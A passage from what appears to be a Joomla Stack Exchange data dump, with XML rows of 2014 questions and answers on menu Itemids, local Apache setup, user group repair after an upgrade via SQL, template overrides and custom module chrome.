this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;index.php?option=com_content&amp;amp;view=article&amp;amp;id=1&amp;amp;catid=2&amp;amp;Itemid=1&#xA;index.php?option=com_content&amp;amp;view=article&amp;amp;id=2&amp;amp;catid=2&amp;amp;Itemid=1&#xA;index.php?option=com_content&amp;amp;view=article&amp;amp;id=3&amp;amp;catid=2&amp;amp;Itemid=1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;Itemid = 1&lt;/code&gt; corresponds to the homepage menu item which explains why the homepage was loading. I tried recreating the issue but could not. According to the folks who added the content, here is the steps they did when creating those articles and links within it:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create Articles&lt;/li&gt;&#xA;&lt;li&gt;Add link to other articles using 'Article' tab in the content editor. &lt;/li&gt;&#xA;&lt;li&gt;Create menu item to the articles&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So I was wondering if there is something obviously wrong here. I am confused because there is over 100 articles yet this happened only in about 5 articles. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="112" LastEditorUserId="126" LastEditDate="2016-06-26T11:13:32.230" LastActivityDate="2019-01-06T00:11:50.467" Title="How to deal with Duplicated Content / URLs in Joomla?" Tags="|menu-item|url|seo|content|com-content|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4165" PostTypeId="2" ParentId="4159" CreationDate="2014-08-21T19:04:25.303" Score="2" Body="&lt;p&gt;Just as another option, though I would recommend other answers over this one, you can also use output buffering to get around the quote issue:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ob_start();&#xA;// close the php tag, so this would normally just print directly to the page&#xA;// output buffering will allow us to capture it and store it in a variable&#xA;?&amp;gt;&#xA;jQuery(document).ready(function () {&#xA;    jQuery(&quot;a[href='#location']&quot;).on('shown', function (e) {&#xA;        initialize();&#xA;    });&#xA;});&#xA;&amp;lt;?php&#xA;$s = ob_get_clean();&#xA;$document-&amp;gt;addScriptDeclaration($s);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22" LastActivityDate="2014-08-21T19:04:25.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4167" PostTypeId="1" AcceptedAnswerId="4274" CreationDate="2014-08-22T07:10:11.200" Score="1" ViewCount="127" Body="&lt;p&gt;I'm learning Joomla development and I have so far been able to understand how to create subcontrollers, models, views, and layouts. Now I'm trying to understand how I can pass control from the subcontroller to a view when an admin clicks on the &quot;New&quot; toolbar icon. To do this I've been going through the Banners component that shipped with Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's where I'm a little bit lost and hope someone can make me understand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;/views/banners/view.html.php&lt;/strong&gt; suggest that there is a subcontroller &lt;strong&gt;banner&lt;/strong&gt; with the task &lt;strong&gt;add&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (count($user-&amp;gt;getAuthorisedCategories('com_banners', 'core.create')) &amp;gt; 0)&#xA;{&#xA;    JToolbarHelper::addNew('banner.add');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, upon inspecting &lt;strong&gt;/contollers/banner.php&lt;/strong&gt; I cannot find any &lt;strong&gt;add&lt;/strong&gt; task assigned to the toolbar icon (or any of the task assigned to the menu for that matter).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore, clicking on the &quot;New&quot; icon redirects me to &lt;strong&gt;index.php?option=com_banners&amp;amp;view=banner&amp;amp;layout=edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just don't understand where the redirect is occuring because I cannot find any reference point to &lt;strong&gt;banner.add&lt;/strong&gt;. Any advice on what the heck Joomla is doing in the background?&lt;/p&gt;&#xA;" OwnerUserId="1787" LastActivityDate="2014-08-30T04:52:08.757" Title="Help me understand Banners Component Toolbar Action (Joomla 3.3)" Tags="|joomla-api|mvc|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4168" PostTypeId="2" ParentId="4156" CreationDate="2014-08-22T09:31:02.240" Score="7" Body="&lt;p&gt;I've just did this with OSX and here's how;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All websites on OSX are stored in &lt;code&gt;users/sites&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 1&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a new website folder called 'joomla'&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cd ~/Sites/&#xA;mkdir joomla&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now add a new record to Apache's  host file - edit &lt;code&gt;httpd-vhosts.conf&lt;/code&gt; file normally located in &lt;code&gt;private/etc/apache2/extra/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add the following to the file (change names accordingly);&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;VirtualHost *:80&amp;gt;&#xA;    DocumentRoot &quot;/Users/UserName/Sites/joomla&quot;&#xA;    ServerName joomla&#xA;    &amp;lt;directory &quot;/Users/UserName/Sites/joomla&quot;&amp;gt;&#xA;    AllowOverride All&#xA;    &amp;lt;/directory&amp;gt;&#xA;&amp;lt;/VirtualHost&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;ServerName&lt;/strong&gt; is the name you will type into your address bar to access your website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;DocumentRoot&lt;/strong&gt; is where your website is located.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 3&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now edit the &lt;code&gt;hosts&lt;/code&gt; file normally located in &lt;code&gt;/private/etc/hosts&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add another record to point to the new website;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;127.0.0.1    joomla&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 4&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lastly, restart Apache &lt;code&gt;apache restart&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should now be able to go to &lt;code&gt;http://joomla&lt;/code&gt; and acces your website!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Worked for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully I haven't left anything out!&lt;/p&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2014-08-22T09:31:02.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4169" PostTypeId="1" AcceptedAnswerId="4210" CreationDate="2014-08-22T09:51:26.550" Score="2" ViewCount="292" Body="&lt;p&gt;I am playing around with the new repeatable form field in my component.&#xA;I am getting a few js errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Chosen&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;repeatable.js:187&lt;br&gt;&#xA;  TypeError: 'undefined' is not a function (evaluating&#xA;  '$('select').chosen({&#xA;                  disable_search_threshold : 10,&#xA;                  allow_single_deselect : true&#xA;              })')&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Remove&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;repeatable.js:160&lt;br&gt;&#xA;  TypeError: 'undefined' is not a function&#xA;  (evaluating 'tr.remove()')&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I guess the Chosen error is because the chosen.js is not loaded. Are there any other specific steps to take, in order to have the chosen.js loaded ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the jQuery remove function method, I can't figure this out. jQuery is loaded at the top of the document, but it still can't evaluate the function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Attaching a screenshot with the issues and the head contents of the page. Any input/feedback is much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QoqI0.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2014-08-26T14:48:41.667" LastActivityDate="2014-08-26T14:48:41.667" Title="Repeatable xml form field - Can't remove fields / Repeatable.js issue" Tags="|development|joomla-3.3.x|bugs|form|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4170" PostTypeId="2" ParentId="4087" CreationDate="2014-08-22T10:40:43.737" Score="7" Body="&lt;p&gt;The &quot;tmp&quot; folder is a place for the system to store files on a temporary basis. One of the most frequent uses of this folder is when extensions are installed. When a new extension is installed, a copy of the extension's archive file is copied into the &quot;tmp&quot; folder and then is unpacked into the correct Joomla folders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The install process doesn't clean itself up automatically all the time. Most of the time it will. If you are using the Joomla installer, it depends on how the component's author wrote the install instructions. Most of the time you don't need to do anything and when you quit adding modules and components, you won't have to worry about it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do a lot of component installations and reinstallations it will collect a lot of miscellaneous session files, plus copies of zip files. So checking it periodically isn't a bad idea.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either you do it using ftp or the file manager (as mentioned in details by friends up in this page or cron if you know how) or if you have Akeeba Administrative Tools installed there is a button on its control panel that will clear the temp directory for you.&lt;/p&gt;&#xA;" OwnerUserId="1807" LastActivityDate="2014-08-22T10:40:43.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4174" PostTypeId="1" AcceptedAnswerId="4176" CreationDate="2014-08-22T22:50:38.187" Score="4" ViewCount="4826" Body="&lt;p&gt;On a Joomla 3.3.3 site which was upgraded from 2.5 (latest version at the time), we are having some issues with regard to user logging in. Some users have reported that after registering, they are unable to login and receive the following warning message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;You cannot access the private section of this site.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The odd thing is that this only occurs for those who are trying to login after the upgrade. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before the upgrade, we were using Community Builder as the User Management, thus it took care of registration, login, etc etc. We've now removed it, along with Akeeba Subs, so the only extension that &lt;strong&gt;may have&lt;/strong&gt; had anything to do with this problem was Kunena 3.0.6.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having looked through lots of forum posts on the web, I've tried the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Rebuild the categories in the Category Manager via the Joomla backend&lt;/li&gt;&#xA;&lt;li&gt;Ensuring that &lt;code&gt;Root Asset&lt;/code&gt; in the &lt;code&gt;#__assets&lt;/code&gt; table has a &lt;code&gt;parent_id&lt;/code&gt; of 0 and no other rows has the same &lt;code&gt;parent_id&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Using @Elin's &lt;a href=&quot;https://github.com/elinw/AssetFix&quot; rel=&quot;nofollow&quot;&gt;AssetFix&lt;/a&gt; script&lt;/li&gt;&#xA;&lt;li&gt;Removing all trashed articles and categories, the doing global check-in&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;For the life of me I can't understand why this is happening.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone had this issue before and/or know of a working solution for Joomla 3.3?&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-08-24T08:40:52.270" Title="You cannot access the private section of this site" Tags="|joomla-3.x|user|login|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4175" PostTypeId="1" AcceptedAnswerId="4195" CreationDate="2014-08-23T05:00:58.640" Score="3" ViewCount="126" Body="&lt;p&gt;I have a google sheet (no, the data does not need to permanently reside there.) Which contains data for T-Shirts of my design&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Name            Source                  Thumbnail           Commision  Description                         SSid&#xA;Puzzle Piece    \Puzzle\PuzzlePiece.ai  PuzzlePiece.png     $1.00       Just another piece of the puzzle    10369732&#xA;Puzzle Piece    \Puzzle\PuzzlePiece.ai  PuzzlePiece1d.png   $1.00       Just another piece of the puzzle    10369731&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have over 50 entries like this so far and i plan on making articles based on everyone of them. I found a the extension NoNumber Content Templater v4.8.2 which, while useful, doesnt fit the need im looking for. How can I refer to a table/database of data with creating articles? Create an extra table in mySql?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Rough&lt;/em&gt; example&#xA;This is [SHIRT-NAME] which you can see picture from [/image/PICTURE-THUMBNAIL]. [DESCIPTION].Click [HYPERLINK-BASED-ON-SSID]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of the variables in brackets would refer to one of the id's in the &lt;em&gt;database&lt;/em&gt;. This content is not meant to be dynamic ( perk but not the focus of my question. )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/2410/creating-variables-inside-article-text&quot;&gt;Creating variables inside article text&lt;/a&gt; but does not fit my needs. &lt;/p&gt;&#xA;" OwnerUserId="1811" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2014-08-24T16:38:38.603" Title="Using variables from a database like source" Tags="|extensions|database|mysql|variable|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4176" PostTypeId="2" ParentId="4174" CreationDate="2014-08-23T12:44:39.293" Score="5" Body="&lt;p&gt;Finally found out what the issue was. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It turned out that upon migrating Joomla 2.5 to 3.3, a lot of the most recent registrants has not been assigned to the &quot;&lt;strong&gt;Registered&lt;/strong&gt;&quot; user group, therefore they had no permissions at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ended up running the following MySQL query in PhpMyAdmin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT `id` FROM `jos_users` WHERE `id` NOT IN (SELECT `user_id` FROM `jos_user_usergroup_map`)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which gets all the user ID's from the &lt;code&gt;users&lt;/code&gt; tables that that &lt;strong&gt;not&lt;/strong&gt; belong to the &lt;code&gt;user_usergroup_map&lt;/code&gt; table. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then exported the results, opened the file in a text editor and changed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;INSERT INTO `jos_users` (`id`) VALUES&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;INSERT INTO `jos_user_usergroup_map` (`user_id`, `group_id`) VALUES&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then for all the values &lt;code&gt;(98), (99), (100),&lt;/code&gt; etc, I did a mass find and replace, which replaced this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;),&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;, 2)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This now ensures that there are 2 arguments which are required for the 2 columns in this database table. &lt;code&gt;2&lt;/code&gt; being the default ID of the &quot;Registered&quot; user group. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The very last line of the file has a semicolon rather than a comma, therefore the mass find and replace will not cater for this. So I simply changed this manually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone else has the same issues, I will be more than happy to post some screenshots which might help a little more.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Edit&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The above workaround in one line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;INSERT INTO `jos_user_usergroup_map` (`user_id`, `group_id`) SELECT `id`, '2' FROM `jos_users` WHERE `id` NOT IN (SELECT `user_id` FROM `jos_user_usergroup_map`);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2014-08-24T08:40:52.270" LastActivityDate="2014-08-24T08:40:52.270" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4177" PostTypeId="1" AcceptedAnswerId="4178" CreationDate="2014-08-23T20:04:39.603" Score="0" ViewCount="864" Body="&lt;p&gt;I created a custom plugin that allows the user to save custom text from a predefined list through editors buttons, in the attributes (attribs).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The idea was to give the users an easy way to add a few decorations and visual elements, by entering predefined &quot;tagged&quot; text, that triggers content plugins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But echoing the attributes text bypasses the content plugins. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to run the content plugins on the content prepare trigger for this text?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$attrbs = json_decode($this-&amp;gt;item-&amp;gt;attribs);&#xA;echo $attrbs-&amp;gt;mygallery;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2016-02-18T14:47:57.023" LastActivityDate="2016-02-18T14:47:57.023" Title="Running content plugin on content prepare trigger for com_content attributes text" Tags="|plugin|com-content|plugin-events|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4178" PostTypeId="2" ParentId="4177" CreationDate="2014-08-23T20:04:54.517" Score="1" Body="&lt;p&gt;Runnning content plugins on text for the content prepare trigger, you just need to call :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    echo JHtml::_('content.prepare',$attrbs-&amp;gt;mygallery);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="126" LastActivityDate="2014-08-23T20:04:54.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4179" PostTypeId="1" CreationDate="2014-08-24T03:31:47.720" Score="1" ViewCount="185" Body="&lt;p&gt;I am busy converting a HTML website into a Joomla temaplate, I got some help doing the home page (index.php), but now the menu items are not linking anywhere. I have a ready coded AboutUs.php page, which I want to important into Joomla and link to the 'About Us' menu item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can this be done in the similar way as it is done with the index.php file? Can I maybe upload the file via FTP and link it somehow in Joomla?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help on this would be much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1813" LastActivityDate="2014-08-24T08:16:07.697" Title="Adding/Importing a ready coded (AboutUs) page into Joomla" Tags="|php|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4180" PostTypeId="2" ParentId="4179" CreationDate="2014-08-24T05:50:18.437" Score="1" Body="&lt;p&gt;Yes you can. I did this for a contact.php file. Here are two methods: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Just go in administrator/menu and select your menu there. Then click on new, and select the menu type &quot;system link/external link&quot;.&#xA;Then in the link in the link feild. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Alternatively ( abit more complicate but that way you have access to your php via the backend), you can also install the modules &quot;&lt;a href=&quot;http://extensions.joomla.org/extensions/core-enhancements/coding-a-scripts-integration/custom-code-in-content/1023?qh=YToxOntpOjA7czo0OiJqdW1pIjt9&quot; rel=&quot;nofollow&quot;&gt;Jumi&lt;/a&gt;&quot; and &quot;&lt;a href=&quot;http://extensions.joomla.org/extensions/core-enhancements/coding-a-scripts-integration/embed-a-include/6402&quot; rel=&quot;nofollow&quot;&gt;Module Anywhere&lt;/a&gt;&quot;. Then create a new  Jumi module, copy/paste your php the the Code written field. Create a new article, add the tag {module ID} (replace ID by your module ID number) and link your menu About Us to this new article. &lt;/p&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2014-08-24T05:50:18.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4181" PostTypeId="1" AcceptedAnswerId="4183" CreationDate="2014-08-24T07:20:48.943" Score="7" ViewCount="5896" Body="&lt;p&gt;I am using protostar as a template for my 3.3.1 website. I have change the index.php in order to redesign the module positions and to add more of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have just updated my website to Joomla 3.3.3 and... I have lost all my edits. (I have a backup so not the big deal). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So now I am wondering what is the best way to override the index.php in order to don't loose my edits each time I update. It seems that it's not possible to have my template index.php override in the &lt;code&gt;template/protostar/html&lt;/code&gt; folder like the other overrides. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found in a forum that I have to make a copy of the folder protostar and rename it to (let's say) protostarperso. Is that the best way to do it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot! &lt;/p&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2017-02-25T14:20:38.253" Title="Best way to override the index.php file from a joomla template" Tags="|joomla-3.x|templates|overrides|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4182" PostTypeId="2" ParentId="4179" CreationDate="2014-08-24T08:16:07.697" Score="0" Body="&lt;p&gt;The reason why the menu items are not linking anywhere is because when I set them up for you that day, I set the parents/dropdowns &lt;strong&gt;type&lt;/strong&gt; to &lt;strong&gt;Text Separators&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All your need to do is open a menu item in the Menu Manager, and set the &lt;strong&gt;type&lt;/strong&gt; to something else, such as &lt;strong&gt;Single Article&lt;/strong&gt;. You can select the article you would like it to link to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-08-24T08:16:07.697" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4183" PostTypeId="2" ParentId="4181" CreationDate="2014-08-24T08:25:34.683" Score="9" Body="&lt;p&gt;Yes, the best way is to copy the desired template by Joomla admin. Go to &lt;code&gt;Extensions &amp;gt; Template Manager &amp;gt; Templates&lt;/code&gt; and click on desired template.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1wSKi.jpg&quot; alt=&quot;Template Manager::Templates&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Then click on &lt;kbd&gt;Copy Template&lt;/kbd&gt; and enter the new name.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/D6qwE.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Then make it default and work on the &lt;code&gt;index.php&lt;/code&gt; file.&lt;/p&gt;&#xA;&lt;h3&gt;Side notes:&lt;/h3&gt;&#xA;&lt;p&gt;The reason why your changes got overridden is because sicne the initial release of the Protostar template with Joomla 3.0.0, some fixes have been made, and now that every update package contains all updates since 3.0.0, the Protostar template will always be installed from scratch.&lt;/p&gt;&#xA;&lt;p&gt;Just remember that what you did is a prime example of why editing core files is a bad idea. I know some people to have heavily modify core files and not had backups and therefore getting rather annoyed that they cannot get their changes back.&lt;/p&gt;&#xA;" OwnerUserId="1520" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2014-08-24T08:34:35.297" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4186" PostTypeId="1" AcceptedAnswerId="4189" CreationDate="2014-08-24T09:12:10.600" Score="2" ViewCount="462" Body="&lt;p&gt;I have created a custom module chrome for my 3.3.1 website and it was working perfectly. I have just updated my website to 3.3.3 and my module.php got overriden in the process (promise, it won't happen again!). The module.php seems to be coded in a slightly different way so I have adapted the chrome php to reflect this change, but I can't make my module chrome work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot for your help! (sorry for all the code below, I cut it down to the specific part concerning the module chrome) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is in template/index.php &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;user1&quot; style=&quot;megarounded&quot;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The template/html/module.php I had in my Joomla 3.3.1&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined('_JEXEC') or die;&#xA;?&amp;gt;&#xA;&amp;lt;?php&#xA;function modChrome_megarounded($module, &amp;amp;$params, &amp;amp;$attribs)&#xA;{ ?&amp;gt;&#xA;        &amp;lt;div class=&quot;megamod module&amp;lt;?php echo $params-&amp;gt;get('moduleclass_sfx'); ?&amp;gt;&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;megabox&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;megaboxouter&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;megaboxinner&quot;&amp;gt;&#xA;                        &amp;lt;?php if ($module-&amp;gt;showtitle != 0) : ?&amp;gt;&#xA;                            &amp;lt;h6&amp;gt;&amp;lt;?php echo $module-&amp;gt;title; ?&amp;gt;&amp;lt;/h6&amp;gt;&#xA;                        &amp;lt;?php endif; ?&amp;gt;&#xA;                    &amp;lt;?php echo $module-&amp;gt;content; ?&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The template/html/module.php I have now in my Joomla 3.3.3&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined('_JEXEC') or die;&#xA;function modChrome_megarounded($module, &amp;amp;$params, &amp;amp;$attribs)&#xA;{&#xA;    if ($module-&amp;gt;content)&#xA;    {&#xA;        echo &quot;&amp;lt;div class=\&quot;megamod&quot; . htmlspecialchars($params-&amp;gt;get('moduleclass_sfx')) . &quot;\&quot;&amp;gt;&quot;;&#xA;            echo &quot;&amp;lt;div class=\&quot;megabox\&quot;&amp;gt;&quot;;&#xA;                echo &quot;&amp;lt;div class=\&quot;megaboxouter\&quot;&amp;gt;&quot;;&#xA;                    echo &quot;&amp;lt;div class=\&quot;megaboxinner\&quot;&amp;gt;&quot;;&#xA;        if ($module-&amp;gt;showtitle)&#xA;        {&#xA;            echo &quot;&amp;lt;h6&amp;gt;&quot; . $module-&amp;gt;title . &quot;&amp;lt;/h6&amp;gt;&quot;;&#xA;        }&#xA;        echo $module-&amp;gt;content;&#xA;                    echo &quot;&amp;lt;/div&amp;gt;&quot;;&#xA;                echo &quot;&amp;lt;/div&amp;gt;&quot;;&#xA;            echo &quot;&amp;lt;/div&amp;gt;&quot;;&#xA;        echo &quot;&amp;lt;/div&amp;gt;&quot;;&#xA;    }&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My website is &lt;a href=&quot;http://www.rscmovement.org/en/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;: you can see the module chrome style I want on the right column around &lt;code&gt;The RSC in brief&lt;/code&gt; (I have added the class directly in the index.php so for this module I didn't use the correct way of adding the module chrome). I am supposed to have this chrome apply to the user-1 position also (around all the greyish rectangles of &lt;code&gt;Last articles&lt;/code&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea why my chrome isn't working? Thanks a lot! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am seen &lt;a href=&quot;http://docs.joomla.org/Applying_custom_module_chrome&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt;, but I didn't help me much&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&#xA; based on Beez5 I have tried this but still no success:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; function modChrome_megarounded($module, &amp;amp;$params, &amp;amp;$attribs)&#xA; {&#xA;    if ($module-&amp;gt;content)&#xA;    {?&amp;gt;&#xA;        &amp;lt;div class=&quot;megamod &amp;lt;?php echo htmlspecialchars($params-&amp;gt;get('moduleclass_sfx'));?&amp;gt;&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;megabox&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;megaboxouter&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;megaboxinner&quot;&amp;gt;&#xA;        &amp;lt;?php if ($module-&amp;gt;showtitle) : ?&amp;gt;&#xA;        &amp;lt;h6&amp;gt;&amp;lt;?php echo $module-&amp;gt;title; ?&amp;gt;&amp;lt;/h6&amp;gt;&#xA;         &amp;lt;?php endif; ?&amp;gt;&#xA;        &amp;lt;?php echo 